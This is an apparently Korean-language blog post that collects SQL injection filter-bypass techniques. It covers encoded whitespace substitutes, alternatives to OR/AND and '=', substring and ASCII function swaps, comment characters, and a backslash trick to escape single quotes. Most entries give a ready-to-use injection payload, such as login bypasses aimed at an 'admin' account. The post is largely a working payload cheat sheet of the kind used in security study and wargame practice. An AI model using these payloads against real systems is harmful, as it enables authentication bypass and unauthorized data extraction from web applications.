-
[SQL Injection] 필터링 우회 방법 모음EVI$ION/WEB HACKING 2019. 7. 22. 19:06
1. 공백 문자 우회
1) Line Feed (\n)
- 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자
- URL Encoding: %0a
- ex) no=1%0aor%0aid='admin'
2) Tab (\t)
- 커서를 한 tab만큼 이동시키는 문자
- URL Encoding: %09
- ex) no=1%09or%09id='admin'
3) Carrage Return (\r)
- 커서(캐럿)를 줄의 맨 앞(왼쪽)으로 이동시키는 개행 문자
- URL Encoding: %0d
- ex) no=1%0dor%0did='admin'
4) 주석 (/**/)
- ex) no=1/**/or/**/id='admin'
5) 괄호 ()
- ex) no=(1)or(id='admin')
6) 더하기 (+)
- ex) no=1+or+id='admin'
7) %0b, %0c, %a0
- 1~6까지의 모든 우회 방법이 먹히지 않을 경우 공백 대신 사용
- %a0은 잘 안먹히는 것 같으니 %0b나 %0c를 위주로 사용하자.
2. 논리 연산자, 비교 연산자 우회
1) OR 연산자
- ||
2) AND 연산자
- &&
- URL Encoding: %26%26
3) 등호(=)
① LIKE 연산자
- ex) id like "admin"
- 정규 표현식을 이용하여 쿼리문을 조작할 수도 있음 (ex. pw like "a%" → pw의 첫 번째 문자가 a이면 true)
② IN 연산자
- ex) id in ("admin")
③ instr(string $str, string $substr)
- ex) instr(id, "admin")
④ 부등호 (< , >)
- ex) length(pw) > 7 and length(pw) < 9
3. 함수 우회
1) str_replace(string $search, string $replace, string $subject)
- 필터링되는 문자열 사이에 문자열을 넣는다.
- ex) str_replace("admin", "", $_GET[id])
→ adadminmin 으로 입력하면 중간에 있는 admin이 공백으로 필터링되어 admin만 남게 된다.
2) substr(string $str, int $start, int $length)
- substring(string $str, int $start, int $length)
- mid(string $str, int $start, int $length)
3) ascii(string $str)
- ord(string $str): ascii 함수와 마찬가지로 문자열을 아스키코드 값으로 변환해줌
- hex(string $str): 문자열을 아스키코드 헥사값으로 변환해줌
ex) hex(substr(pw, 1, 1)) = hex(61)
4. 주석 처리
① --
- 뒤에 반드시 공백이 있어야 정상적으로 주석 처리가 된다.
- 한 줄만 주석처리한다.
② # (URL Encoding: %23)
- '--'처럼 뒤에 공백이 없어도 정상적으로 주석 처리된다.
- 한 줄만 주석 처리한다.
③ /* */
- /* */ 사이의 문자열들이 모두 주석 처리된다.
④ ;%00
- NULL 문자인 %00과 ;이 결합한 주석 처리 문자
5. 싱글 쿼터(') 우회
1) 더블 쿼터(") 사용
ex) id="admin"
2) 백슬래시(\) 사용
- select id from table where id='$_GET[id]' and pw='$_GET[pw]' 와 같은 쿼리문에 제한적으로 사용 가능
- ex) id='\' and pw=' or 1#' → \에 의해 바로 뒤에 있는 싱글쿼터(')가 문자로 인식됨
☞ '\' and pw'가 문자열로 인식되고 이 뒷부분부터는 쿼리문으로 인식됨
☞ 인자 전달: id=\&pw=%20or%201%23
'EVI$ION > WEB HACKING' 카테고리의 다른 글
[웹해킹 #3] Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) (1) 2019.05.02 [웹해킹 #2] SQL Injection (1) 2019.04.09 [웹해킹 #1] 웹의 기초, DVWA 실습 (0) 2019.03.20